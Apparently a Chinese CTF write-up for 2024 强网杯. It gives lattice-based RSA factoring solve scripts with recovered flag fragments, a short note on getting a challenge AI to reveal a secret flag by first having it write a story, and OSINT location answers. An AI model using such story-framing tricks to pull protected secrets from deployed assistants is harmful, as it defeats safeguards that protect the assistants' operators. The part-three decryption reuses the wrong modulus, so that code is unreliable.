n, e = (73566307488763122580179867626252642940955298748752818919017828624963832700766915409125057515624347299603944790342215380220728964393071261454143348878369192979087090394858108255421841966688982884778999786076287493231499536762158941790933738200959195185310223268630105090119593363464568858268074382723204344819, 65537)

V = hints = [18167664006612887319059224902765270796893002676833140278828762753019422055112981842474960489363321381703961075777458001649580900014422118323835566872616431879801196022002065870575408411392402196289546586784096, 16949724497872153018185454805056817009306460834363366674503445555601166063612534131218872220623085757598803471712484993846679917940676468400619280027766392891909311628455506176580754986432394780968152799110962, 17047826385266266053284093678595321710571075374778544212380847321745757838236659172906205102740667602435787521984776486971187349204170431714654733175622835939702945991530565925393793706654282009524471957119991, 25276634064427324410040718861523090738559926416024529567298785602258493027431468948039474136925591721164931318119534505838854361600391921633689344957912535216611716210525197658061038020595741600369400188538567, 22620929075309280405649238349357640303875210864208854217420509497788451366132889431240039164552611575528102978024292550959541449720371571757925105918051653777519219003404406299551822163574899163183356787743543, 20448555271367430173134759139565874060609709363893002188062221232670423900235907879442989619050874172750997684986786991784813276571714171675161047891339083833557999542955021257408958367084435326315450518847393, 16581432595661532600201978812720360650490725084571756108685801024225869509874266586101665454995626158761371202939602347462284734479523136008114543823450831433459621095011515966186441038409512845483898182330730, 23279853842002415904374433039119754653403309015190065311714877060259027498282160545851169991611095505190810819508498176947439317796919177899445232931519714386295909988604042659419915482267542524373950892662544, 16542280976863346138933938786694562410542429842169310231909671810291444369775133082891329676227328401108505520149711555594236523078258701726652736438397249153484528439336008442771240980575141952222517324476607, 17054798687400834881313828738161453727952686763495185341649729764826734928113560289710721893874591843482763545781022050238655346441049269145400183941816006501187555169759754496609909352066732267489240733143973, 22115728663051324710538517987151446287208882441569930705944807337542411196476967586630373946539021184108542887796299661200933395031919501574357288914028686562763621166172668808524981253976089963176915686295217, 19324745002425971121820837859939938858204545496254632010818159347041222757835937867307372949986924646040179923481350854019113237172710522847771842257888083088958980783122775860443475680302294211764812636993025, 17269103712436870749511150569030640471982622900104490728908671745662264368118790999669887094371008536628103283985205839448583011077421205589315164079023370873380480423797655480624151812894997816254147210406492, 17365467616785968410717969747207581822018195905573214322728668902230086291926193228235744513285718494565736538060677324971757810325341657627830082292794517994668597521842723473167615388674219621483061095351780, 20823988964903136690545608569993429386847299285019716840662662829134516039366335014168034963190410379384987535117127797097185441870894097973310130525700344822429616024795354496158261293140438037100429185280939, 19068742071797863698141529586788871165176403351706021832743114499444358327620104563127248492878047796963678668578417711317317649158855864613197342671267006688211460724339403654215571839421451060657330746917459, 20089639597210347757891251257684515181178224404350699015820324544431016085980542703447257134320668961280907495580251880177990935443438799776252979843969984270461013888122703933975001704404129130156833542263882, 22344734326131457204500487243249860924828673944521980798994250859372628295695660076289343998351448667548250129358262592043131205967592613289260998148991388190917863322690137458448696392344738292233285437662495, 22688858027824961235755458925538246922604928658660170686458395195714455094516952026243659139809095639584746977271909644938258445835519951859659822660413616465736923822988993362023001205350387354001389518742538, 21286046487289796335501643195437352334100195831127922478044197411293510360710188581314023052580692810484251118253550837525637065385439859631494533102244585493243972819369812352385425700028640641292410326514111, 21542729548465815605357067072323013570796657575603676418485975214641398139843537820643982914302122976789859817102498484496409546012119998359943274203338400776158986205776474024356567247508744784200354385060666, 22319592382753357951626314613193901130171847776829835028715915533809475362288873045184870972146269975570664009921662023590318988850871708674240304838922536028975978222603171333743353770676344328056539379240160, 25195209191944761648246874631038407055240893204894145709996399690807569652160721616011712739214434932639646688187304865397816188999592774874989401871300784534538762135830014255425391132306536883804201055992313, 18257804244956449160916107602212089869395886846990320452133193087611626919926796845263727422042179229606817439442521540784268169177331707314788427670112999551683927934427716554137597798283300120796277229509678, 20293403064916574136692432190836928681820834973375054705153628740577159076332283715581047503287766236543327123639746352358718218140738999496451259789097826888955418315455420948960832865750253988992454128969953, 15967654820584966012628708475666706277218484919923639492431538068059543232562431059752700377242326527417238151501168940191488179144049286512652111172149113549072003881460743035279388672984805823560897688895124, 25144187979876039024245879200325843092774389926620026124061775431569974232758799200333888039013494603721065709195353330350750055309315207499741437181094874894647736904055829877859906318073991986020178158776286, 15736932921640444103019961538951409924080453868073105830403926861058056351553271238438325117113945341892868641345117717666354739204401152657265824568724844930574396801692131746182948347887298330990039956813130, 18831072673439732764722762485733622234889447953507582396819704359771208236721692820362137219509611319088756045211407777880521726782697895768017460064889670066178710804124631128581556314122255564861269062385337, 23800437561684813552661749774840752013501533683948618798811470214669024646396165487093720960221009038817909066075238937189371227098032581450466402462014437421254375846263830927945343485988463525070074913720710, 24402191070622494792723290726249952159888270689258801831518209605331984684494095167423722682814769395395011136124403802097229547003802312444913008194461779426175966774202219703164060353710247619639616444797670, 20215481513831963554421686543560596857659844027486522940060791775984622049024173363533378455076109165728144576719015392033536498353094895564917644840994662704362121549525329105205514332808950206092190939931448, 18384453917605955747212560280232547481041600196031285084598132475801990710125754705645482436436531608696373462641765399622296314590071558616193035939108523357020287896879479452040171765916716377102454266933226, 21890401344164908103930010123434944359446535642544335610455613014563290097498740447164765588532234051104173227090428486681237432196639010849051113283297943367655458678533223039415083212229970648958070799280218, 18379893441293694747570620009241814202936873442370354246029979042247705730610190888710981918183390028386451290137755339890329474403224043675724851314770861939082447728194632548864823398818221526652331319263027, 18715827130228986951360013590464775001019026913384718876134449689773600060962392738619405370033085704046027397895627933844824630723286144367800484157574548819065406118338665931032779491897783504790669824301288, 13588739911708699123450670852772302012518315143187739886523841133752009403411431627334135210166268158490674049617489193734568451811305631563767138879895461211915128972052001136464325219117009268526575020143259, 18506039912943821193373920483847347155611306173368341979655092778147169768984477236224526786441466933360500418090210912574990962709452725122792963919616633389125605160796446674502416801964271004625701238202575, 22167985517547342184812919437069844889650448522260359154086923601900060998572245598167213217022051141570075284051615276464952346620430587694188548679895095556459804921016744713098882496174497693878187665372865, 21507363933875318987283059841465034113263466805329282129011688531718330888226928182985538861888698160675575993935166249701145994333840516459683763957425287811252135418288516497258724668090570720893589001392220, 20250321586608105267884665929443511322540360475552916143405651419034772061789298150974629817817611591100450468070842373341756704300393352252725859102426665187194754280129749402796746118608937061141768301995522, 16104259151024766025645778755951638093681273234415510444173981198301666343334808614748361662637508091511498829253677167171091582942780017355912433497214576425697459483727777273045993446283721290714044600814203, 14560242181138184594433372530956542527312169507277535425067427080573272033961044062335960097446781943943464713852520415535775461964590009720592053626735276833191667395201287169782350381649400286337671320581068, 16239347596615402699390026749150381714807445218767496868569282767673828662340774349530405347667558555781433774705139593469838946201218537641296949822639509296966092138954685186059819628696340121356660166937131, 21344472317634795288252811327141546596291633424850284492351783921599290478005814133560171828086405152298309169077585647189366292823613547973428250604674234857289341613448177246451956695700417432794886277704716, 16053809990112020217624905718566971288375815646771826941011489252522755953750669513046736360397030033178139614200701025268874379439106827823605937814395162011464610496629969260310816473733828751702925621950679, 18917855883623050190154989683327838135081813638430345099892537186954876489710857473326920009412778140451855952622686635694323466827034373114657023892484639238914593012175120540210780102536003758794571846502397, 22690171278715056779052233972642657173540399024770527983659216197108042021644328773010698851143953503599329885607621773816718008861742027388432534850163666629476315340137626681994316866368449548292328156728206, 21087818524872480052313215092436868441694786060866149491087132591272640372512484925209820065536439188250579925233059144898601140234767300574307770064543499923712729705795392684173268461519802573563186764326797, 18439753470094841291394543396785250736332596497190578058698960152415339036714664835925822942784700917586270640813663002161425694392259981974491535370706560550540525510875465091384383255081297963169390777475352, 20105719699015744146039374208926740159952318391171137544887868739518535254000803811729763681262304539724253518465850883904308979964535242371235415049403280585133993732946919550180260852767289669076362115454200, 17251599484976651171587511011045311555402088003441531674726612079301412643514474016351608797610153172169183504289799345382527665445027976807805594288914226822374523878290416047130731166794970645275146679838899, 23027331991437585896233907022469624030630702237261170259290872847355304456043379238362120518409085840638396736666056992747627271193089116095167049248270541979716594671069985183070290375121270398623215587207529, 18158149685496169798299129683009221264185608469410295069411669832919646968324946121757411511373498747604679198739125835462814352243797919744572086307939585501566092705355693015625009717017077302201663788208609, 18276153196656501517216055049560959047263892309902154534799806637704337317207294332426798932144785240877892837491213916540255237702169595754963908689566362060228840286531616263506272071630209104758589482803348, 19830654702835464289082520892939657653574451119898587213320188332842291005863699764597454403874285715252681820027919359194554863299385911740908952649966617784376852963552276558475217168696695867402522508290055, 15349828226638644963106414986240676364822261975534684137183044733508521003843559094515387144949811552173241406076270015291925943459603622043168219534080772937297911323165839870364550841685270125556125756627553, 20923687596111161976478930953796496927811701530608223491138786355445002217973253897724452954815797952200740069102515860924306246841340715110620719064010080520601890251137419840158983682372232110885549732743013, 21095748006022412831703352650023882351218414866517568822818298949510471554885207645049385966827210564667371665855668707424105040599599901165292360321667007968065708796593851653085339928947755081203265281357013, 20136320433636422315432754195821125224777716034031656342233368000257459497472596860252592531939146543685406198978058242599116859263546329669263543660114747385041549283367183026001454445297981439938401547228229, 16496919752274418275948572022974868132658743151124597724312835413857298109100258912203517423633396955060591787380445877361136405137884456764770035346437177846666365911942996404514058688909577420388537479730705, 13788728438272498164727737074811797093818033799836159894472736480763530670013682288670889124484670336660448907074673625466218166413315342420667608074179975422284472184048790475129281850298519112884101776426380, 24852871485448795332267345793743281093931161235481251209948049584749441451621572752080662697610253315331335180611651946374137068256112152253681972406000252076016099200912670370417045090034045383991812756120791, 18663346319122078996775762643035864683521213720864038756854558668694021987970601131985163948257100423991091156649638455828855082098689641225427227191064496066436196910238564311309556938903101074363279783438714, 21400068681031931459396470039651524575262457489792894764406364952394476440804779651233022862527636114968325782197380721095406628084183336358459476006267416033892771932528688312375109463803215034905281657962293, 16044158155847172030103761204572942507195578382208455423846603003318483484698088948486132040995746837257705704187725306831142305215342467016564452582165866039427184607605673304595194959499145031211096109534167, 16518253246325822837502418827700493807621067058438396395472266350036385535241769917459657069911028720968654253735107131282350340465691670072304718987805883113410923109703284511709226857412404454224134480632696, 22032469066601123287586507039704080058983969235246539501189720236880312024198451198788699002335010120658564926677243708367430773661097221076615953342733896063909953602379936312639192315223258556134958059637605, 17474611942177808070315948910226643697957069578572244709354155010512694059987765040746148981545760660371360975936526076852619987733316042847813177383519241505024635332293992920023420060610648140841369822739716, 20097265939024591617239874622716452182434300498447992668997438018575636772416262543204370899462096267444545094719202447520254303983442269757551626971917981420832391886214473318353984504467919530676605744560570, 18170251482705061226968041449812078923477452841162650888922564215790088545936753453513162197661916172215859504545409274440450807677845894292177296835154674774694992388033874349807244020099167681146357128785394, 18084007437523118129421476751918491055914528331902780911288404344016551650138679157754567938593688369062981279371320169939281882307797009116458871503759873023914718337944953764426183937635379280572434676575757, 17001811604221128900675671565539617923973183364469396458234914432162200119518252971721448274846235879320362924206656971472493711107677598961463553324277826426691784458674010708635756004550789902368338633272118, 20217009574515126619724139485885721324936960849401637840860565569588595992087537454744066905387396266844236387315004915383456736142307523960394594650088663019228826091309049211780607761862663242437656610298243, 25534440916970201550118006203706860249111087748000550226680885431006136131742280963090650607632467666558508520152535105122661615376298673454198064361094319699307084117001019115669670029195171047304283891069792, 18871869316294018605789169171879572816494092699556970507058691345095743053290043643010965660058888064972257990750611470141816041727746767146945121588515830427165739580791663951175220638901672353681640741068573, 20173968537913641339915058056878181363456579537994317562789857397928196160113042659777558550242315788417022891612723148843142958668959046890197219991727894451795438138592005695329607326086644956073759609743066, 20601943394990265144021144365970164017319737300436518536503270346147112565303361487668388700369636611354280332841812324530501569200031186584749278453651172121161814207025650519637781007286435981682228528706305, 16397528630087028144645213166977866073543422560337716097539091258081008408890966764995645782823950721804205427713461441138000880478364026137452291234097219085473748076681729365744710225699866258812642458184750, 21373350333568141000876969785296802670776508778278005158047105058430550665787088265486222905402690421155861103648370249249790560185790723042867282734693553039477436055775198037042047438047898227097749354619822, 17767469767416052322357795736899648760868316512079849340028040817353808899589201201338152114229279980849491049574543361275046276135253417685681262008211582060955974064559129311524323185960856955462761555353091, 22148352529815091269441663541923247974004854058764556809596705832663604786920964849725772666340437231503146814919702525852955831173047034475925578238466977606367380212886384487294569287202762127531620290162734, 21663842528026621741414050256553652815372885707031383713657826718944735177083300302064509342116651731671570591336596953911570477161536730982887182434407761036442993588590230296643001682944654490645815177777455, 20219077358929317461660881724990436334639078047412693497584358963241840513748365548465302817975329987854784305275832045889690022909383530837382543579292451297269623663257098458645056099201050578472103957851128, 18255302182526662903763852563401346841065939531070045000414364747445988455597258924280193695407035356029557886165605853810182770534711966292253269625917149411889979307227493949293798772727125069093642134972336, 24926064145128749429079117171467042019887257504329103038171762786986349157515552927216574990423327013202735544601170247730647598931030432792167867343343213411600516855009788294067588153504026267213013591793027, 22369607314724468760253123915374991621544992437057652340350735935680183705467064876346663859696919167243522648029531700630202188671406298533187087292461774927340821192866797400987231509211718089237481902671100, 16994227117141934754898145294760231694287000959561775153135582047697469327393472840046006353260694322888486978811557952926229613247229990658445756595259401269267528233642142950389040647504583683489067768144570, 21758885458682118428357134100118546351270408335845311063139309657532131159530485845186953650675925931634290182806173575543561250369768935902929861898597396621656214490429009706989779345367262758413050071213624, 20156282616031755826700336845313823798147854495428660743884481573484471099887576514309769978525225369254700468742981099548840277532978306665910844928986235042420698332201264764734685502001234369189521332392642, 23291765247744127414491614915358658114280269483384022733002965612273627987872443453777028006606037159079637857473229879140366385523633075816362547967658930666106914269093225208138749470566410361196451552322613, 19807792217079652175713365065361659318870738952921195173619551645956745050506271953949139230097128034416815169649874760890189515620232505703162831090225715453502422905418824316957257395992121750661389503495033, 22074209373194902539215367382758486068533032275912313703269990627206774967653336496619231924013216321042649461711292555464574124714934511202231319963361912937842068483700298097209400217869036338644607607557860, 19678336511265998427322297909733474384702243426420286924671444552444079816707773485084891630780465895504253899943221044355971296122774264925882685351095921532685536165514189427245840338009573352081361238596378, 24746314790210393213546150322117518542380438001687269872679602687597595933350510598742749840102841364627647151669428936678130556027300886850086220074563664367409218038338623691372433831784916816798993162471163, 19346137206512895254202370018555139713690272833895195472766704715282164091959131850520571672509601848193468792313437642997923790118115476212663296111963644011010744006086847599108492279986468255445160241848708, 22739514514055088545643169404630736699361136323546717268615404574809011342622362833245601099992039789664042350284789853188040159950619203242924511038681127008964592137006103547262538912024671048254652547084347, 21491512279698208400974501713300096639215882495977078132548631606796810881149011161903684894826752520167909538856354238104288201344211604223297924253960199754326239113862002469224042442018978623149685130901455, 19381008151938129775129563507607725859173925946797075261437001349051037306091047611533900186593946739906685481456985573476863123716331923469386565432105662324849798182175616351721533048174745501978394238803081, 19965143096260141101824772370858657624912960190922708879345774507598595008331705725441057080530773097285721556537121282837594544143441953208783728710383586054502176671726097169651121269564738513585870857829805]

k = 2^(512 - 180)

M = Matrix.column([k * v for v in V]).augment(Matrix.identity(len(V)))
B = [b[1:] for b in M.LLL()]
M = (k * Matrix(B[:len(V)-2])).T.augment(Matrix.identity(len(V)))
B = [b[-len(V):] for b in M.LLL() if set(b[:len(V)-2]) == {0}]

for s, t in itertools.product(range(100), repeat=2):
    T = s*B[0] + t*B[1]
    a1, a2, a3 = T[0], T[1], T[2]
    kq = gcd(a1 * hints[1] - a2 * hints[0], n)
    if 1 < kq < n:
        print('find!', kq, s, t)
        break
for i in range(2**16, 1, -1):
    if kq % i == 0:
        kq //= i
q = int(kq)
p = int(n // kq)
print('p', p)
print('q',q)
#8112940945910485817171807897687451701452029959677470272197529542411816926233172848066074195817612280582244564398252967013953964546888998662975298338523549 0 1
9067773077510925207378520309595658022345214442920360440202890774224295250116442048990578009377300541280465330975931465993745130297479191298485033569345231
8112940945910485817171807897687451701452029959677470272197529542411816926233172848066074195817612280582244564398252967013953964546888998662975298338523549

得到,p,q直接解出第二部分

from Crypto.Util.number import long_to_bytes
from gmpy2 import gmpy2
# kq, s, t = 8112940945910485817171807897687451701452029959677470272197529542411816926233172848066074195817612280582244564398252967013953964546888998662975298338523549 0 1
p = 9067773077510925207378520309595658022345214442920360440202890774224295250116442048990578009377300541280465330975931465993745130297479191298485033569345231
q = 8112940945910485817171807897687451701452029959677470272197529542411816926233172848066074195817612280582244564398252967013953964546888998662975298338523549
n, e = (73566307488763122580179867626252642940955298748752818919017828624963832700766915409125057515624347299603944790342215380220728964393071261454143348878369192979087090394858108255421841966688982884778999786076287493231499536762158941790933738200959195185310223268630105090119593363464568858268074382723204344819, 65537)
c2 = 30332590230153809507216298771130058954523332140754441956121305005101434036857592445870499808003492282406658682811671092885592290410570348283122359319554197485624784590315564056341976355615543224373344781813890901916269854242660708815123152440620383035798542275833361820196294814385622613621016771854846491244

d = gmpy2.invert(65537, (p-1)*(q-1))
m = pow(c2,d,n)
flag2 = long_to_bytes(m)
print(q*p)
print(flag2)
# b's0lve_the_@pb'

第三部分:

发现这里可以直接用第二部分的p, q

from Crypto.Util.number import long_to_bytes
from gmpy2 import gmpy2
# # kq, s, t = 8112940945910485817171807897687451701452029959677470272197529542411816926233172848066074195817612280582244564398252967013953964546888998662975298338523549 0 1
p = 9067773077510925207378520309595658022345214442920360440202890774224295250116442048990578009377300541280465330975931465993745130297479191298485033569345231
q = 8112940945910485817171807897687451701452029959677470272197529542411816926233172848066074195817612280582244564398252967013953964546888998662975298338523549
n, e = (73566307488763122580179867626252642940955298748752818919017828624963832700766915409125057515624347299603944790342215380220728964393071261454143348878369192979087090394858108255421841966688982884778999786076287493231499536762158941790933738200959195185310223268630105090119593363464568858268074382723204344819, 65537)
c2 = 30332590230153809507216298771130058954523332140754441956121305005101434036857592445870499808003492282406658682811671092885592290410570348283122359319554197485624784590315564056341976355615543224373344781813890901916269854242660708815123152440620383035798542275833361820196294814385622613621016771854846491244

d = gmpy2.invert(65537, (p-1)*(q-1))
m = pow(c2,d,n)
flag2 = long_to_bytes(m)
print(q*p)
print(flag2)
# b's0lve_the_@pb'

p = 9067773077510925207378520309595658022345214442920360440202890774224295250116442048990578009377300541280465330975931465993745130297479191298485033569345231
q = 8112940945910485817171807897687451701452029959677470272197529542411816926233172848066074195817612280582244564398252967013953964546888998662975298338523549
c3 = 17737974772490835017139672507261082238806983528533357501033270577311227414618940490226102450232473366793815933753927943027643033829459416623683596533955075569578787574561297243060958714055785089716571943663350360324047532058597960949979894090400134473940587235634842078030727691627400903239810993936770281755

n3,e3 = (94789409892878223843496496113047481402435455468813255092840207010463661854593919772268992045955100688692872116996741724352837555794276141314552518390800907711192442516993891316013640874154318671978150702691578926912235318405120588096104222702992868492960182477857526176600665556671704106974346372234964363581, 65537)
c3 = 17737974772490835017139672507261082238806983528533357501033270577311227414618940490226102450232473366793815933753927943027643033829459416623683596533955075569578787574561297243060958714055785089716571943663350360324047532058597960949979894090400134473940587235634842078030727691627400903239810993936770281755
m3 = pow(c3,d,n)
flag3= long_to_bytes(m3)
print(flag3)
# b'q_prob1em!!}'

Misc:

givemesecret:

​ ai题,虽然不懂原理,但队友出了,他的方法是先让ai编一个故事,是否和flag有关我没问他,之后让ai显示flag即可

在这里插入图片描述

Master of OSINT:

1.远处有海,有山,有草,空旷,北方,环海或者环湖公路,青海湖,根据位置去找

2.百安居去找

3.四川省机场集团航空地面服务有限公司

4.IKEA宜家家居附近

5.重庆

6.H形大厦

在这里插入图片描述

7.左侧是船,右侧觉华塔,橘子洲游客中心位置

8.一个跨海大桥,右侧车道“长江”

9.武汉天兴洲长江大桥中间

在这里插入图片描述

10.宏泰百货,然后杭州和深圳都试试,确定为杭州

签到:

​ flag再内容里,直接交。

问卷调查:

​ 填写问卷就有flag。

关于2024强网的信息如下: ### 比赛介绍 强网是一项面向全国高校学生及社会人士开放的网络安全竞赛活动,旨在提升参与者的网络安全意识和技术水平。该赛事通常包括但不限于Web安全、逆向工程、密码学、二进制漏洞挖掘与利用等多个方面。 ### 参赛指南 对于想要参加2024强网的人来说,建议关注官方渠道发布的最新消息以获取最准确的比赛规则和报名详情。一般情况下,参与者需要组成团队,在规定的时间内完成一系列在线挑战或者现场解答实际案例中的信息安全问题来获得分数。比赛可能设有不同的组别,比如大学生组和社会人士组等。 ### 历届回顾 从过往的情况来看,强网每年都会吸引大量来自全国各地的安全爱好者以及专业人士参赛。例如,在最近的一次比赛中,即第八届强网全国网络安全挑战赛中,选手们面对了诸如`Master of OSINT`, `Misc`, 和其他类型的复杂题目。这些题目不仅考验着队伍的技术实力也测试其解决问题的能力。 为了准备即将到来的比赛,可以参考往年的题解和经验分享文档来进行学习。例如,“2024强网-Master of OSINT部分wp”,“2024强网web题解”以及其他相关的技术文章都提供了宝贵的见解和技巧指导。 请注意以上信息可能会随着主办方的具体安排有所变动,因此强烈推荐直接访问官方网站或联系组织方确认最新的细节。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值